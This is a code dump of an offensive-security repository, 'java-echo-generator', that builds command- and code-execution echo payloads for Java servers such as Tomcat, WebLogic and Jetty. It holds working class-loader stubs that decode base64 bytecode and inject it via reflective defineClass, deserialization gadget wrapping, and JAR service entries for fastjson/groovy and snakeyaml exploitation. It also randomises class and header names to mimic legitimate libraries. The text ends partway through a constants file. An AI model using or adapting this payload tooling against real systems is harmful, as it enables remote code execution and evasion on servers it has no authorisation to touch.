Repository: pen4uin/java-echo-generator Branch: main Commit: d29d9950b3c7 Files: 65 Total size: 197.5 KB Directory structure: gitextract_i6n13zud/ ├── LICENSE ├── README.md ├── jeg-common/ │ ├── pom.xml │ └── src/ │ └── main/ │ └── java/ │ └── jeg/ │ └── common/ │ ├── config/ │ │ ├── Config.java │ │ └── Constants.java │ ├── format/ │ │ ├── BASE64Formatter.java │ │ ├── BCELFormatter.java │ │ ├── BigIntegerFormatter.java │ │ ├── IFormatter.java │ │ ├── JARFormatter.java │ │ └── JavaScriptFormatter.java │ └── util/ │ ├── Base64Util.java │ ├── ClassUtil.java │ ├── FileUtil.java │ ├── GadgetUtil.java │ ├── HeaderUtil.java │ ├── JavassistUtil.java │ ├── RandomUtil.java │ └── ReflectionUtil.java ├── jeg-core/ │ ├── pom.xml │ └── src/ │ ├── main/ │ │ └── java/ │ │ └── jeg/ │ │ └── core/ │ │ ├── config/ │ │ │ ├── jEGConfig.java │ │ │ └── jEGConstants.java │ │ ├── jEGenerator.java │ │ ├── template/ │ │ │ ├── all/ │ │ │ │ ├── DFSCmdExecTpl.java │ │ │ │ └── DFSCodeExecTpl.java │ │ │ ├── bes/ │ │ │ │ ├── BESCmdExecTpl.java │ │ │ │ └── BESCodeExecTpl.java │ │ │ ├── inforsuite/ │ │ │ │ ├── InforSuiteCmdExecTpl.java │ │ │ │ └── InforSuiteCodeExecTpl.java │ │ │ ├── jetty/ │ │ │ │ ├── JettyCmdExecTpl.java │ │ │ │ └── JettyCodeExecTpl.java │ │ │ ├── resin/ │ │ │ │ ├── ResinCmdExecTpl.java │ │ │ │ └── ResinCodeExecTpl.java │ │ │ ├── springmvc/ │ │ │ │ ├── SpringMVCCmdExecTpl.java │ │ │ │ └── SpringMVCCodeExecTpl.java │ │ │ ├── struts2/ │ │ │ │ ├── Struts2CmdExecTpl.java │ │ │ │ └── Struts2CodeExecTpl.java │ │ │ ├── tomcat/ │ │ │ │ ├── TomcatCmdExecTpl.java │ │ │ │ └── TomcatCodeExecTpl.java │ │ │ ├── tongweb/ │ │ │ │ ├── TongWebCmdExecTpl.java │ │ │ │ └── TongWebCodeExecTpl.java │ │ │ ├── undertow/ │ │ │ │ ├── UndertowCmdExecTpl.java │ │ │ │ └── UndertowCodeExecTpl.java │ │ │ ├── weblogic/ │ │ │ │ ├── WebLogicCmdExecTpl.java │ │ │ │ └── WebLogicCodeExecTpl.java │ │ │ └── websphere/ │ │ │ ├── WebSphereCmdExecTpl.java │ │ │ └── WebSphereCodeExecTpl.java │ │ └── util/ │ │ └── TemplateUtil.java │ └── test/ │ └── java/ │ └── GeneratorTest.java ├── jeg-docs/ │ ├── 1.0.0/ │ │ └── README.md │ └── README_EN.md ├── jeg-gui/ │ ├── pom.xml │ └── src/ │ └── main/ │ ├── java/ │ │ └── jeg/ │ │ └── gui/ │ │ ├── form/ │ │ │ ├── jEGForm.form │ │ │ └── jEGForm.java │ │ ├── jEGApp.java │ │ └── util/ │ │ ├── ComponentUtil.java │ │ └── TextPaneUtil.java │ └── resources/ │ ├── messages_en.properties │ ├── messages_en.properties.bak │ ├── messages_zh.properties │ └── messages_zh.properties.bak ├── jeg-woodpecker/ │ ├── pom.xml │ └── src/ │ └── main/ │ └── java/ │ └── me/ │ └── gv7/ │ └── woodpecker/ │ ├── helper/ │ │ └── jEGHelper.java │ └── plugin/ │ └── WoodpeckerPluginManager.java └── pom.xml ================================================ FILE CONTENTS ================================================ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2025 pen4uin Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================

English | 中文

Java Echo Generator

GitHub watchers GitHub forks GitLab Stars
一款支持高度自定义的 Java 回显载荷生成工具


> [!WARNING] > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
## 功能 | 中间件 | 框架 | 执行模式 | 输出格式 | |-----------------|-----------|---------|------------| | Tomcat | SpringMVC | Command | BASE64 | | Resin | Struts2 | Code | BCEL | | WebLogic | | | BIGINTEGER | | Jetty | | | CLASS | | WebSphere | | | JAR | | Undertow | | | JS | | GlassFish | | | | | BES(宝兰德) | | | | | InforSuite(中创) | | | | | TongWeb(东方通) | | | | ## 编译 ```shell mvn package assembly:single ``` ## 使用 **图形化** 1. 下载 jEG-GUI-1.0.0.jar 运行即可 ![image-20230928161217950](./jeg-docs/img/gui.png) **Woodpecker 插件** 1. 下载 jEG-Woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可 ![image-20230928153330494](./jeg-docs/img/woodpecker-plugin.png) **第三方库** 1. 下载 jEG-Core-1.0.0.jar 并安装到本地 maven 仓库 ``` mvn install:install-file -Dfile=jEG-Core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar ``` 2. 引入自己的框架/工具的依赖中 ``` jeg jeg-core 1.0.0 ``` 3. 调用 API 生成需要的回显载荷即可 ``` // 基本配置 jEGConfig config = new jEGConfig() {{ // 设置待回显的中间件为 tomcat setServerType(Constants.SERVER_TOMCAT); // 设置待执行的 payload 为命令执行回显 setModelType(Constants.MODEL_CMD); // 设置 payload 的输出格式为 BASE64 setFormatType(Constants.FORMAT_BASE64); // 初始化基础配置 build(); }}; // 生成 payload jEGenerator generator = new jEGenerator(config); System.out.println("请求头: " + config.getReqHeaderName()); System.out.println(generator.getPayload()); ``` ## 文档 - [jEG v1.0.0 - 高度自定义的 Java 回显生成工具](./jeg-docs/1.0.0/) ## 致谢 - https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/ - https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327 - https://github.com/feihong-cs/Java-Rce-Echo ## 协议 - MIT ================================================ FILE: jeg-common/pom.xml ================================================ 4.0.0 jeg java-echo-generator ${reversion} jEG-common ${artifactId}-${reversion} me.gv7.woodpecker woodpecker-bcel 0.1.0 ================================================ FILE: jeg-common/src/main/java/jeg/common/config/Config.java ================================================ package jeg.common.config; public class Config { private String serverType; private String formatType; private String gadgetType; private String loaderClassName; private String classNameInFormatter; private byte[] classBytesInFormatter; private String classBase64InFormatter; public String getOutputDir() { return outputDir; } public void setOutputDir(String outputDir) { this.outputDir = outputDir; } private String outputDir; public String getLoaderClassName() { return loaderClassName; } public void setLoaderClassName(String loaderClassName) { this.loaderClassName = loaderClassName; } public String getClassNameInFormatter() { return classNameInFormatter; } public void setClassNameInFormatter(String classNameInFormatter) { this.classNameInFormatter = classNameInFormatter; } public byte[] getClassBytesInFormatter() { return classBytesInFormatter; } public void setClassBytesInFormatter(byte[] classBytesInFormatter) { this.classBytesInFormatter = classBytesInFormatter; } public String getClassBase64InFormatter() { return classBase64InFormatter; } public void setClassBase64InFormatter(String classBase64InFormatter) { this.classBase64InFormatter = classBase64InFormatter; } public String getServerType() { return serverType; } public void setServerType(String serverType) { this.serverType = serverType; } public String getFormatType() { return formatType; } public void setFormatType(String formatType) { this.formatType = formatType; } public String getGadgetType() { return gadgetType; } public void setGadgetType(String gadgetType) { this.gadgetType = gadgetType; } public boolean isImplementsASTTransformationType() { return implementsASTTransformationType; } public void setImplementsASTTransformationType(boolean implementsASTTransformationType) { this.implementsASTTransformationType = implementsASTTransformationType; } public boolean isImplementsScriptEngineFactory() { return implementsScriptEngineFactory; } public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) { this.implementsScriptEngineFactory = implementsScriptEngineFactory; } private boolean implementsASTTransformationType = false; private boolean implementsScriptEngineFactory = false; } ================================================ FILE: jeg-common/src/main/java/jeg/common/config/Constants.java ================================================ package jeg.common.config; public interface Constants { String FORMAT_CLASS = "CLASS"; String FORMAT_BCEL = "BCEL"; String FORMAT_JSP = "JSP"; String FORMAT_JAR = "JAR"; String FORMAT_JS = "JS"; String FORMAT_BASE64 = "BASE64"; String FORMAT_BIGINTEGER = "BIGINTEGER"; String GADGET_NONE = "NONE"; String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet"; String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet"; String SERVER_TOMCAT = "Tomcat"; String SERVER_JETTY = "Jetty"; String SERVER_RESIN = "Resin"; String SERVER_SPRING_MVC = "SpringMVC"; String SERVER_STRUTS2 = "Struts2"; String SERVER_UNDERTOW = "Undertow"; String SERVER_WEBLOGIC = "WebLogic"; String SERVER_WEBSPHERE = "WebSphere"; String SERVER_BES = "BES"; String SERVER_INFORSUITE = "InforSuite"; String SERVER_TONGWEB = "TongWeb"; String SERVER_UNKNOWN = "Unknown"; } ================================================ FILE: jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java ================================================ package jeg.common.format; import jeg.common.config.Config; import jeg.common.util.Base64Util; public class BASE64Formatter implements IFormatter { @Override public byte[] transform(byte[] bytes, Config config) throws Exception { return Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "").getBytes(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/format/BCELFormatter.java ================================================ package jeg.common.format; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import jeg.common.config.Config; import jeg.common.util.Base64Util; import jeg.common.util.ClassUtil; import jeg.common.util.JavassistUtil; import me.gv7.woodpecker.bcel.HackBCELs; import java.io.IOException; import java.lang.reflect.Method; public class BCELFormatter implements IFormatter { public byte[] transform(byte[] bytes, Config config) throws IOException { ClassPool pool = ClassPool.getDefault(); ClassClassPath classPath = new ClassClassPath(BCELoader.class); pool.insertClassPath(classPath); CtClass ctClass; byte[] bcelLoaderBytes = new byte[0]; try { ctClass = pool.getCtClass(BCELoader.class.getName()); CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String"); getBase64String.setBody(String.format("{return \"%s\";}", Base64Util.encodeToBase64(config.getClassBytesInFormatter()))); CtMethod getClassName = ctClass.getDeclaredMethod("getClassName"); getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInFormatter())); ctClass.setName(ClassUtil.getRandomClassName()); ctClass.getClassFile().setVersionToJava5(); JavassistUtil.removeSourceFileAttribute(ctClass); bcelLoaderBytes = ctClass.toBytecode(); ctClass.detach(); } catch (Exception e) { e.printStackTrace(); } return HackBCELs.encode(bcelLoaderBytes).getBytes(); } } class BCELoader extends ClassLoader { public String getClassName() { return ""; } public String getBase64String() throws IOException { return ""; } public BCELoader() throws Exception { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ; try { classLoader.loadClass(getClassName()).newInstance(); } catch (Exception var1) { try { byte[] classBytes = base64Decode(getBase64String()); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class clazz = (Class) defineClassMethod.invoke(classLoader, classBytes, 0, classBytes.length); clazz.newInstance(); } catch (Exception var2) { } } } public static byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); } catch (Exception var5) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); } } } ================================================ FILE: jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java ================================================ package jeg.common.format; import jeg.common.config.Config; import java.io.IOException; import java.math.BigInteger; public class BigIntegerFormatter implements IFormatter { @Override public byte[] transform(byte[] bytes, Config config) throws IOException { return new BigInteger(bytes).toString(36).getBytes(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/format/IFormatter.java ================================================ package jeg.common.format; import jeg.common.config.Config; public interface IFormatter { public byte[] transform(byte[] bytes, Config config) throws Exception; } ================================================ FILE: jeg-common/src/main/java/jeg/common/format/JARFormatter.java ================================================ package jeg.common.format; import jeg.common.config.Config; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.jar.JarEntry; import java.util.jar.JarOutputStream; import java.util.jar.Manifest; public class JARFormatter implements IFormatter { public byte[] transform(byte[] bytes, Config config) throws IOException { String className = config.getClassNameInFormatter(); String jarEntryFileName = className.replace(".", "/") + ".class"; Manifest manifest = new Manifest(); manifest.getMainAttributes().putValue("Manifest-Version", "1.0"); ByteArrayOutputStream out = new ByteArrayOutputStream(); try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) { jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName)); jarOutputStream.write(bytes); jarOutputStream.closeEntry(); // fastjson + groovy 的利用 if (config.isImplementsASTTransformationType()) { String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation"; JarEntry entry = new JarEntry(entryName); jarOutputStream.putNextEntry(entry); jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); jarOutputStream.closeEntry(); } // snakeyaml + loadJar 的利用 if (config.isImplementsScriptEngineFactory()) { String entryName = "META-INF/services/javax.script.ScriptEngineFactory"; JarEntry entry = new JarEntry(entryName); jarOutputStream.putNextEntry(entry); jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8)); jarOutputStream.closeEntry(); } } return out.toByteArray(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java ================================================ package jeg.common.format; import jeg.common.config.Config; import jeg.common.util.Base64Util; public class JavaScriptFormatter implements IFormatter { public byte[] transform(byte[] bytes, Config config) throws Exception { String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + "try{\n" + " classLoader.loadClass(\""+ config.getClassNameInFormatter() +"\").newInstance();\n" + "}catch (e){\n" + " var clsString = classLoader.loadClass('java.lang.String');\n" + " var bytecodeBase64 = \""+ Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "") + "\";\n" + " var bytecode;\n" + " try{\n" + " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" + " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" + " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" + " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" + " } catch (ee) {\n" + " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" + " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" + " }\n" + " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" + " var clsByteArray = classLoader.loadClass('[B');\n" + " var clsInt = java.lang.Integer.TYPE;\n" + " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" + " defineClass.setAccessible(true);\n" + " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" + " clazz.newInstance();\n" + "}"; return strJS.getBytes(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/Base64Util.java ================================================ package jeg.common.util; public class Base64Util { public static String encodeToBase64(byte[] input) throws Exception { String value = null; Class base64; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input); } catch (Exception var6) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input); } catch (Exception var5) { } } return value; } public static String decodeFromBase64(String input) throws Exception { byte[] var2 = null; Class var1; try { var1 = Class.forName("java.util.Base64"); Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input)); } catch (Exception var6) { try { var1 = Class.forName("sun.misc.BASE64Decoder"); Object var4 = var1.newInstance(); var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input)); } catch (Exception var5) { } } return new String(var2); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/ClassUtil.java ================================================ package jeg.common.util; import java.util.ArrayList; import java.util.List; import java.util.Random; public class ClassUtil { static String[] classNames = { "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil" }; private static final String[] packageNames = { "org.springframework", "org.apache.logging", "org.apache", "com.fasterxml.jackson", "org.junit", "org.apache.commons.lang", "com.google.gso", "ch.qos.logback" }; public static String generatePackageName(String[] packageNames) { Random random = new Random(); String packageName = packageNames[random.nextInt(packageNames.length)]; return packageName; } public static String getRandomPackageName(String[] packageNames) { return generatePackageName(packageNames); } public static String getRandomName(String[]... arrays) { List classNames = new ArrayList<>(); for (String[] array : arrays) { for (String className : array) { classNames.add(className); } } Random random = new Random(); int index = random.nextInt(classNames.size()); return classNames.get(index); } public static String generateRandomString() { Random random = new Random(); StringBuilder sb = new StringBuilder(); int length = random.nextInt(5) + 2; // 生成2-6之间的随机数 for (int i = 0; i < length; i++) { char c = (char) (random.nextInt(26) + 'a'); sb.append(c); } return sb.toString(); } public static String getRandomClassName() { return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames); } public static String getRandomLoaderClassName() { return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames); } public static String getSimpleName(String className) { int lastDotIndex = className.lastIndexOf("."); if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) { return className.substring(lastDotIndex + 1); } return className; } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/FileUtil.java ================================================ package jeg.common.util; import java.io.*; public class FileUtil { public static void writeFile(String filePath, byte[] bytes) throws IOException { OutputStream out = new FileOutputStream(filePath); InputStream is = new ByteArrayInputStream(bytes); byte[] buff = new byte[1024]; int len; while((len = is.read(buff)) != -1) { out.write(buff, 0, len); } is.close(); out.close(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/GadgetUtil.java ================================================ package jeg.common.util; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*; import jeg.common.config.Constants; import jeg.common.config.Config; public class GadgetUtil { private Config config; private ClassPool pool; private CtClass modifiedClass; public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) { this.config = config; this.pool = pool; this.modifiedClass = modifiedClass; } public byte[] modify() throws Exception { byte[] classBytes = null; if (pool != null && modifiedClass != null) { if (config.getGadgetType().contains(Constants.GADGET_JDK_TRANSLET)) { applyJDKAbstractTranslet(); } if (config.getGadgetType().contains(Constants.GADGET_XALAN_TRANSLET)) { applyXALANAbstractTranslet(); } modifiedClass.getClassFile().setVersionToJava5(); classBytes = modifiedClass.toBytecode(); modifiedClass.defrost(); } else { throw new Exception("pool or modifiedClass is null"); } return classBytes; } public void applyJDKAbstractTranslet() throws NotFoundException, CannotCompileException { pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); modifiedClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); } public void applyXALANAbstractTranslet() throws NotFoundException, CannotCompileException, ClassNotFoundException { try { pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet"); } catch (NotFoundException e) { pool.makeClass("org.apache.xalan.xsltc.runtime.AbstractTranslet"); } modifiedClass.setSuperclass(pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet")); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/HeaderUtil.java ================================================ package jeg.common.util; import java.util.Random; public class HeaderUtil { private static final Random RANDOM = new Random(); public static String genHeaderName(String[] keys) { String key = genRandomKey(keys); return key + genRandomSuffix(); } private static String genRandomKey(String[] keys) { return keys[RANDOM.nextInt(keys.length)]; } private static String genRandomSuffix() { StringBuilder sb = new StringBuilder(); int length = RANDOM.nextInt(9) + 4; // 生成4-10之间长度的随机字符串 for (int i = 0; i < length; i++) { char c = (char) (RANDOM.nextInt(26) + 'a'); if (i == 0) { c = Character.toUpperCase(c); } sb.append(c); } return sb.toString(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/JavassistUtil.java ================================================ package jeg.common.util; import javassist.*; import javassist.bytecode.AttributeInfo; import javassist.bytecode.ClassFile; import javassist.bytecode.SourceFileAttribute; import java.util.List; /** * javassist 工具类 */ public class JavassistUtil { private static ClassPool pool = ClassPool.getDefault(); public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception { ctClass.defrost(); try { // 已存在,修改 CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); ctMethod.setBody(methodBody); } catch (NotFoundException ignored) { // 不存在,直接添加 CtMethod method = CtNewMethod.make(methodBody, ctClass); ctClass.addMethod(method); } } public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { ctClass.defrost(); try { CtField field = ctClass.getDeclaredField(fieldName); ctClass.removeField(field); try { CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); defField.setModifiers(Modifier.PUBLIC); ctClass.addField(defField, "\"" + fieldValue + "\""); } catch (Exception e) { throw new RuntimeException(e); } } catch (NotFoundException ignored) { try { CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); defField.setModifiers(Modifier.STATIC); ctClass.addField(defField, "\"" + fieldValue + "\""); } catch (Exception e) { throw new RuntimeException(e); } } } public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { ctClass.defrost(); try { CtField field = ctClass.getDeclaredField(fieldName); ctClass.removeField(field); try { CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); defField.setModifiers(Modifier.PUBLIC); defField.setModifiers(Modifier.STATIC); ctClass.addField(defField, "\"" + fieldValue + "\""); } catch (Exception e) { throw new RuntimeException(e); } } catch (NotFoundException ignored) { try { CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); defField.setModifiers(Modifier.STATIC); ctClass.addField(defField, "\"" + fieldValue + "\""); } catch (Exception e) { throw new RuntimeException(e); } } } // 删除 SourceFileAttribute (源文件名) 信息 public static void removeSourceFileAttribute(CtClass ctClass) { ctClass.defrost(); ClassFile classFile = ctClass.getClassFile2(); try { // javassist.bytecode.ClassFile.removeAttribute Since: 3.21 ReflectionUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag}); } catch (Exception e) { try { // 兼容 javassist v3.20 及以下 List attributes = (List) ReflectionUtil.getFV(classFile, "attributes"); removeAttribute(attributes, SourceFileAttribute.tag); } catch (Exception ignored) { } } } public static synchronized AttributeInfo removeAttribute(List attributes, String name) { if (attributes == null) return null; for (AttributeInfo ai : attributes) if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai; return null; } public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { if (fieldValue != null) { JavassistUtil.addField(ctClass, fieldName, fieldValue); } } public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { if (fieldValue != null) { JavassistUtil.addStaticField(ctClass, fieldName, fieldValue); } } public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception { if (className != null) { ctClass.setName(className); } } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/RandomUtil.java ================================================ package jeg.common.util; import java.util.Random; public class RandomUtil { // 生成随机长度的字符串 public static String genRandomLengthString(int minLength) { Random random = new Random(); StringBuilder sb = new StringBuilder(); int length = random.nextInt(16) + minLength; // 生成2-6之间的随机数 for (int i = 0; i < length; i++) { char c = (char) (random.nextInt(26) + 'a'); if (i == 0) { c = Character.toUpperCase(c); } sb.append(c); } return sb.toString(); } } ================================================ FILE: jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java ================================================ package jeg.common.util; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class ReflectionUtil { public static void setFV(Object var0, String var1, Object val) throws Exception { getF(var0, var1).set(var0, val); } public static Object getFV(Object obj, String fieldName) throws Exception { Field field = getF(obj, fieldName); field.setAccessible(true); return field.get(obj); } public static Field getF(Object obj, String fieldName) throws NoSuchFieldException { Class clazz = obj.getClass(); while (clazz != null) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } throw new NoSuchFieldException(fieldName); } public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; Class tempClass = clazz; while (method == null && tempClass != null) { try { if (paramClazz == null) { // Get all declared methods of the class Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke(null, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } } } ================================================ FILE: jeg-core/pom.xml ================================================ 4.0.0 jeg java-echo-generator ${reversion} jEG-core ${artifactId}-${reversion} jeg jEG-common ${reversion} ================================================ FILE: jeg-core/src/main/java/jeg/core/config/jEGConfig.java ================================================ package jeg.core.config; import jeg.common.config.Config; import jeg.common.config.Constants; import jeg.common.util.ClassUtil; import jeg.common.util.HeaderUtil; import jeg.common.util.RandomUtil; import java.util.Objects; public class jEGConfig extends Config { public jEGConfig() { } public void setServerType(String serverType) { this.serverType = serverType; } public void setModelType(String modelType) { this.modelType = modelType; } public void setClassName(String className) { this.className = className; } public void setFormatType(String formatType) { this.formatType = formatType; } public void setOutputDir(String outputDir) { this.outputDir = outputDir; } public void setReqHeaderName(String reqHeaderName) { this.reqHeaderName = reqHeaderName; } public void setReqParamName(String reqParamName) { this.reqParamName = reqParamName; } public void setRespHeaderName(String respHeaderName) { this.respHeaderName = respHeaderName; } public void setBase64ClassString(String base64ClassString) { this.base64ClassString = base64ClassString; } public void setClassBytes(byte[] classBytes) { this.classBytes = classBytes; } public void setClassBytesLength(int classBytesLength) { this.classBytesLength = classBytesLength; } public void setLoaderClassName(String loaderClassName) { this.loaderClassName = loaderClassName; } public void setGadgetType(String gadgetType) { this.gadgetType = gadgetType; } private String serverType; private String modelType; private String className; private String formatType; private String outputDir; private String desKey; private String reqHeaderName; private String reqParamName; private String respHeaderName; private String base64ClassString; private byte[] classBytes; private int classBytesLength; private boolean implementsASTTransformationType = false; private boolean implementsScriptEngineFactory = false; private String loaderClassName; private String gadgetType; public String getModelType() { return modelType; } public String getServerType() { return serverType; } public String getClassName() { return className; } public String getFormatType() { return formatType; } public String getOutputDir() { return outputDir; } public String getDesKey() { return desKey; } public String getReqHeaderName() { return reqHeaderName; } public String getReqParamName() { return reqParamName; } public String getRespHeaderName() { return respHeaderName; } public String getBase64ClassString() { return base64ClassString; } public byte[] getClassBytes() { return classBytes; } public int getClassBytesLength() { return classBytesLength; } public String getLoaderClassName() { return loaderClassName; } public String getGadgetType() { return gadgetType; } public void build() { // 检查 serverType、modelType、formatType 是否已设置 if (this.modelType == null || this.serverType == null || this.formatType == null) { throw new IllegalStateException("serverType、modelType and formatType must be set."); } // 可选参数,默认随机 if (this.getOutputDir() == null || Objects.equals(this.getOutputDir(), "")) setOutputDir(System.getProperty("user.dir")); if (this.getClassName() == null || Objects.equals(this.getClassName(), "")) setClassName(ClassUtil.getRandomClassName()); if (this.getReqHeaderName() == null || Objects.equals(this.getReqHeaderName(), "")) setReqHeaderName(HeaderUtil.genHeaderName(jEGConstants.headerKeys)); if (this.getReqParamName() == null || Objects.equals(this.getReqParamName(), "")) setReqParamName(RandomUtil.genRandomLengthString(4)); if (this.getGadgetType() == null) setGadgetType(Constants.GADGET_NONE); } } ================================================ FILE: jeg-core/src/main/java/jeg/core/config/jEGConstants.java ================================================ package jeg.core.config; import jeg.common.config.Constants; public interface jEGConstants extends Constants { String JEG_NAME = "java-echo-generator"; String JEG_VERSION = "v1.0.0"; String JEG_AUTHOR = "pen4uin"; String JEG_DESCRIPTION = "Java 回显载荷生成器"; String[] headerKeys = {"Accept-","Content-","Cache-Control-","Transfer-","Last-Modified-","Etag-"}; String MODEL_CODE = "Code"; 